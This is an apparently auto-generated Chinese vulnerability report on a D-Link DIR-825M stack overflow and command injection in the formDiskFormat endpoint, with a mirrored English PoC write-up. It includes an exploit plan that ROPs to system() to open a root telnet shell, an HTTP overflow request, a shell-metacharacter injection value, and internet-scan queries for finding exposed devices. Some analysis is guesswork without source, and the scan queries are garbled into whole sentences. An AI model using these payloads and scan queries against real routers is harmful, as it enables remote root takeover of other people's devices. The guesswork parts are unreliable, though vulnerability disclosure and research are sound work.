🔥 CVE-2026-82592 深度独立研究:源码审计 · 二次发现 · 利用方案

🔥 高危漏洞深度独立研究 · CVSS ≥ 9.8

CVE-2026-82592 深度独立研究:源码审计 · 二次发现 · 利用方案

📊 2 来源🔍 源码审计🧪 PoC
NVD-LatestPoC-in-GitHub

🔍 源码独立审计

https://github.com/Robots10/IoT_vlu 源码进行独立审计(置信度 50%)。

🧬 根因独立理解

由于未提供实际源码,基于CVE-2026-82592的公开描述与D-Link路由器常见实现模式推断:漏洞位于/boafrm/formDiskFormat处理函数sub_46725C中,该函数直接通过HTTP请求参数partition获取用户输入,未进行任何长度校验即使用不安全的字符串拷贝函数(如strcpy/sprintf)将输入复制到固定大小的栈缓冲区。D-Link固件通常采用C语言开发,且早期版本缺乏编译器安全缓解措施(如栈保护、ASLR),使得攻击者只需构造超长partition值即可覆盖栈上保存的返回地址、局部变量和帧指针。补丁可能是在函数入口处增加长度检查,或改用strncpy/snprintf等限制拷贝长度的函数,同时确保目标缓冲区大小正确。根因可归类为典型的'未验证输入长度导致的栈缓冲区溢出',属于CWE-121/CWE-120。

🛤️ 漏洞触发链路

攻击者无需认证(或仅需默认/弱凭据)即可向目标路由器Web管理接口发送特制HTTP请求。具体链路:1) 攻击者确定目标设备的IP地址和开放的管理端口(通常为80/8080)。2) 构造POST请求到/boafrm/formDiskFormat,将partition参数设置为长字符串(例如'A'*1000加上精心构造的ROP地址)。3) 设备端lighttpd或其他Web服务器接收请求,解析form数据,调用sub_46725C处理。4) 函数内部使用strcpy将partition内容拷贝到栈缓冲区,覆盖返回地址。5) 函数返回时跳转到攻击者控制地址,执行任意代码(如busybox命令),实现远程命令注入或完全控制设备。

🔁 二次发现(同类漏洞/扩展攻击面)

  • /boafrm/formSetWAN 或 /boafrm/formWanSetup: 同类型D-Link固件中,WAN口配置接口常存在类似栈溢出问题,参数如wan_ip、wan_mask等未校验长度,可导致远程代码执行。
  • /boafrm/formFirewall: 防火墙规则配置接口可能将用户输入直接拼接到内部命令或缓冲区,造成溢出或命令注入,需同步审计。

🩹 修复完整性分析

当前没有源码或补丁可对比,但根据CVE描述,官方修复版本应为1.1.8之后或特定补丁。修复完整性无法验证,但常见绕过方式包括:1) 只修补了partition参数,其他同名端点或类似函数仍存在相同漏洞;2) 使用strncpy但长度计算错误,导致仍然可溢出;3) 仅增加长度判断却使用atoi/strtol等转换,仍可能存在整数溢出或截断绕过。需重点审计所有form*接口及底层libc调用是否统一加固。

⚔️ 利用方案设计

利用方案基于MIPS架构的栈溢出:1) 信息收集:确定目标设备联网状态、Web服务版本和固件版本,确认漏洞存在。2) 构造payload:使用pattern字符串(如cyclic pattern)触发崩溃,通过崩溃地址计算偏移量。由于MIPS无ASLR或可预测,可直接覆盖返回地址为shellcode地址。3) 绕过缓解:如果启用了NX,则使用ROP链调用system();如果无NX,则直接以root身份执行bind shell或反连shellcode。4) 发送恶意请求:构造HTTP POST,partition=偏移+ROP链+命令,将命令如'telnetd -l /bin/sh -p 9999'编码为C字符串。5) 触发利用:等待路由器执行ROP,连接开放端口获得shell。关键点是偏移量准确且ROP链中需处理cache flush(MIPS需要icache同步)。

🏷️ 生产前提定级

分类: A(A=默认部署无条件 / B=需应用配合 / C=配置缺陷 / X=范围外)

生产前提: ①生产默认部署能否触发:D-Link路由器默认启用Web管理接口,且formDiskFormat端点通常未进行IP限制或认证,若设备暴露于公网或攻击者处于LAN内,可无条件远程触发。②需哪些应用代码配合:无需额外应用代码配合,设备固件自带该漏洞函数。③需哪些配置缺陷:需Web管理端口开放(默认开启),且未启用管理IP白名单;若固件版本未修补,可直接利用。④环境前提:攻击者能访问设备管理端口(HTTP 80/443),部分场景可能需先绕过NAT或通过UPnP暴露。

🕵️ 指纹与测绘语法

命中版本指纹: D-Link DIR-825M 设备的Web管理页面通常在HTML title中包含'DIR-825M',或页面底部显示'D-Link Systems, Inc.',登录页面URL包含'/boafrm/formLogin',HTTP响应头Server字段可能为'httpd/2.0'或'lighttpd/1.4.x'。

FOFA: body="DIR-825M"

测绘引擎语法:

  • Hunter: web.body="D-Link DIR-825M 设备的Web管理页面通常在HTML title中包含'DIR-825M',或页面底部显示'D-Link Systems, Inc.',登录页面URL包含'/boafrm/formLogin',HTTP响应头Server字段可能为'httpd/2.0'或'lighttpd/1.4.x'。"
  • Quake: response:"D-Link DIR-825M 设备的Web管理页面通常在HTML title中包含'DIR-825M',或页面底部显示'D-Link Systems, Inc.',登录页面URL包含'/boafrm/formLogin',HTTP响应头Server字段可能为'httpd/2.0'或'lighttpd/1.4.x'。"
  • ZoomEye: "D-Link DIR-825M 设备的Web管理页面通常在HTML title中包含'DIR-825M',或页面底部显示'D-Link Systems, Inc.',登录页面URL包含'/boafrm/formLogin',HTTP响应头Server字段可能为'httpd/2.0'或'lighttpd/1.4.x'。"
  • Shodan: http.html:"D-Link DIR-825M 设备的Web管理页面通常在HTML title中包含'DIR-825M',或页面底部显示'D-Link Systems, Inc.',登录页面URL包含'/boafrm/formLogin',HTTP响应头Server字段可能为'httpd/2.0'或'lighttpd/1.4.x'。"

🐳 docker 实证

状态: 🔴 未完成 | 技术栈: unknown

执行日志:

技术栈 unknown 无自动部署配方(docker 只做 Web 类——见纪律)

🔬 SAST 工具链扫描(真实工具输出)

semgrep 输出

[*] DB semgrep 规则: 462 条 | 本地规则文件: 1 个

============================================================
扫描目标: /tmp/vuln_audit/CVE_2026_82592
规则: /home/user/vuln_knowledge/tools/sast_rules/hermes-0day-round3.yaml
============================================================

[结果] 共 0 处命中:

[前 5 条命中详情——人工复核误报]

🧪 PoC 复现

从 GitHub 公开仓库抓取的实际 PoC 代码(仓库)。

📋 代码元数据语言md来源HackSpeak/CVE-2026-82592针对性✅ 已验证与漏洞相关(代码含 CVE 引用)依赖见代码注释/README用法详见代码注释中的使用说明

# D-Link Router DIR-825M - Buffer Overflow in /boafrm/formDiskFormat 

## Vulnerability Details

### Detail Information

|**Field**              |**Value**                                                    ||---------------------- |------------------------------------------------------------ ||**Vendor**             |D-Link                                                       ||
**Product**            |D-Link DIR-825M (and other models sharing the same firmware codebase) ||**Affected Version**   |Firmware v1.1.8                                              ||**Vulnerability Type** |Stack-based Buffer Overflow (CWE-121)、Command Injection (CWE-78) ||**Vendor Homepage**    |https://www.dlink.com/                                       |
## Vulnerability Description

During a security review of the router's firmware,a critical vulnerability was identified in the `/boafrm/formDiskFormat` endpoint.

The vulnerability is located in the `sub_46725C` function,which handles partition formatting. The function retrieves the user-controlled `partition` parameter from the HTTP POST request. Without any prior sanitization,verification,
or length checks on this parameter,the program performs several unsafe operations:

1. It uses `sprintf` to format the parameter into a small local stack buffer `v9` (allocated with only 132 bytes).
2. It directly passes the constructed command strings to `system()` to execute system utilities.

An attacker can exploit this by injecting shell metacharacters (such as `;`,`&`,
or `|`) into the `partition` parameter to execute arbitrary system commands with root privileges,
or by passing an oversized string to cause a stack buffer overflow and hijack control flow.

- **Vulnerability Location**: `/boafrm/formDiskFormat` (or similar disk format handling endpoint)
- **Vulnerable Function**: `sub_46725C`

## Root Cause

The vulnerability stems from two concurrent programming flaws: **unsafe string formatting** and **direct execution of unvalidated inputs in a system shell**.

![image0](image0.png)

### 1. Command Injection (CWE-78)

Inside `sub_46725C`,
the `partition` parameter is fetched and stored in `v2`:

```c
v2 = (const char *)sub_41351C(a1,"partition","");```

If the parameter is not empty,the program immediately constructs an unmount command and executes it:

```c
sprintf(v9,"umount /dev/%s >/dev/null 2>&1",v2);system(v9);```

Since `v2` is directly embedded into the command string without sanitizing characters like `;`,
an input of `sda1;+sleep+5;` will execute as:

```c
umount /dev/sda1;sleep 5;>/dev/null 2>&1
```

This directly triggers arbitrary shell command execution.

### 2. Stack-based Buffer Overflow (CWE-121)

The local buffer `v9` is declared on the stack with a limited size:

```c
char v9[132];```

The program uses `sprintf` to copy the user input into `v9`:

```c
sprintf(v9,
"mkdir -p /var/tmp/usb/%s >/dev/null 2>&1",v2);```

Because `sprintf` does not perform bounds checking,a `partition` parameter longer than approximately 90 bytes will write past the boundary of `v9`,overwriting the stack frame,
including the saved frame pointer and return address (`$ra` in MIPS/ARM).

## Impact

An attacker can exploit this vulnerability to achieve the following outcomes:

- **Arbitrary Command Execution**: Execute arbitrary shell commands on the router with highest (`root`) privileges.
- **Denial of Service (DoS)**: Overwrite the stack or corrupt memory to crash the Web server daemon,
rendering the router's management panel completely inaccessible.

## Proof of Concept (PoC)

By supplying an oversized `partition` parameter,the stack will be corrupted,
resulting in a segmentation fault and crashing the Web server daemon.

```http
POST /boafrm/formDiskFormat HTTP/1.1
Host: 192.168.0.1
Content-Length: 655
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.0.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0;Win64;x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/124.0.6367.118 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.0.1/diskformat.htm
Accept-Encoding: gzip,deflate,
br
Accept-Language: en-US,en;q=0.9
Cookie: webuicookie=16041526311804289383
Connection: keep-alive

partition=sda1aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&systype=ext2&Apply+Changes=Apply+Changes&submit_url=%2Fdiskinfo.htm
```

##  screenshots of the local reproduction

- Setting up the environment using firmae and Running the PoC via Burp Repeater

![image1](image1.png)

- Result:

![image2](image2.png)

---

# 分发镜像说明(中文)

本仓库为 **CVE-2026-82592(D-Link DIR-825M 磁盘格式化接口栈溢出 + 命令注入 RCE)** 漏洞 PoC 的中转分发镜像(技术分析见上方上游原版报告 `formDiskFormat.md`)。内容由上游公开 PoC 报告镜像而来,仅作存档与分发用途。PoC 仅供安全研究、漏洞验证与授权测试,请勿用于未授权目标。

## 漏洞简述 / Vulnerability Summary

- **CVE-2026-82592** / D-Link DIR-825M(共享同一固件代码库的型号需一并排查)
- **受影响版本**:固件 **v1.1.8**
- **类型**:栈缓冲区溢出(CWE-121)+ 命令注入(CWE-78)→ 远程代码执行(RCE)
- **CVSS 3.1**:**9.9(Critical)**;CVSS 4.0:8.6(High)
- **攻击面**:Web 管理端磁盘格式化接口 `POST /boafrm/formDiskFormat`
- **触发方式**:向 `partition` 参数注入 shell 元字符(命令注入),或发送超长填充(栈溢出)
- **利用结果**:以 **root** 权限执行任意命令 / 使 Web 服务崩溃(DoS)
- **修复状态**:披露时厂商未公布补丁,请关注 D-Link 官方固件更新

核心原理:处理分区格式化的 `sub_46725C` 函数把用户可控的 `partition` 参数直接拼进两条命令——`sprintf(v9,
"mkdir -p /var/tmp/usb/%s ...",v2)`(v9 仅 132 字节,无边界检查,超 ~90 字节即覆盖 `$ra`)与 `sprintf(v9,"umount /dev/%s ...",v2);system(v9)`(`;` `&` `|` 等元字符原样进 shell)。

## 环境与用法 / Requirements &
Usage

- 复现环境:FirmaE 固件仿真 + Burp Repeater(公开的是**崩溃触发载荷**,非完整 EXP)
- 接口存在性检测:

```bash
curl -s -o /dev/null -w "%{http_code}" http://<路由器IP>/boafrm/formDiskFormat
# 返回 200 或 302(而非 404)说明接口存在
```

- 复现请求(关键部分):

```http
POST /boafrm/formDiskFormat HTTP/1.1
Content-Type: application/x-www-form-urlencoded

partition=sda1aaaa...(超长填充)&systype=ext2&Apply+Changes=Apply+Changes&submit_url=%2Fdiskinfo.htm
```

## 免责声明 / Disclaimer

本 PoC 仅供教学、安全研究与授权测试使用,仅可对自有或获得明确授权的设备运行。利用会以 root 权限执行命令或使设备 Web 服务崩溃,请在可销毁的仿真环境中测试。

## 归属与许可 / Attribution &
License

- 上游 PoC 报告作者:**Robots10**(公开 IoT 漏洞仓库 IoT_vlu,`reports/Dlink/formDiskFormat/`)。
- 分发仓库采用 **MIT License**(见 `LICENSE`)。

## 参考链接 / References

- NVD:https://nvd.nist.gov/vuln/detail/CVE-2026-82592
- CVE 记录:https://www.cve.org/CVERecord?id=CVE-2026-82592
- D-Link 官网:https://www.dlink.com/

⚔️ EXP 利用代码

截至分析时,Exploit-DB 未收录该 CVE 的公开利用代码。可利用上述 PoC 进行验证,或关注 Exploit-DB 更新。

🕵️ 检测指纹

当前规则库未收录针对该 CVE 的专用检测规则。建议:

  • 根据漏洞根因编写 Nuclei 检测模板
  • 在 WAF/IDS 中配置针对漏洞特征的规则
  • 关注漏洞指纹库更新

🤖 高危漏洞深度独立研究引擎生成 · 2026-09-02 03:01

[!] CONTACT_CHANNELS

如需商务合作、技术咨询或漏洞反馈,请通过以下离岸节点联系作者。

> PING_AUTHOR (@A1RedTeam)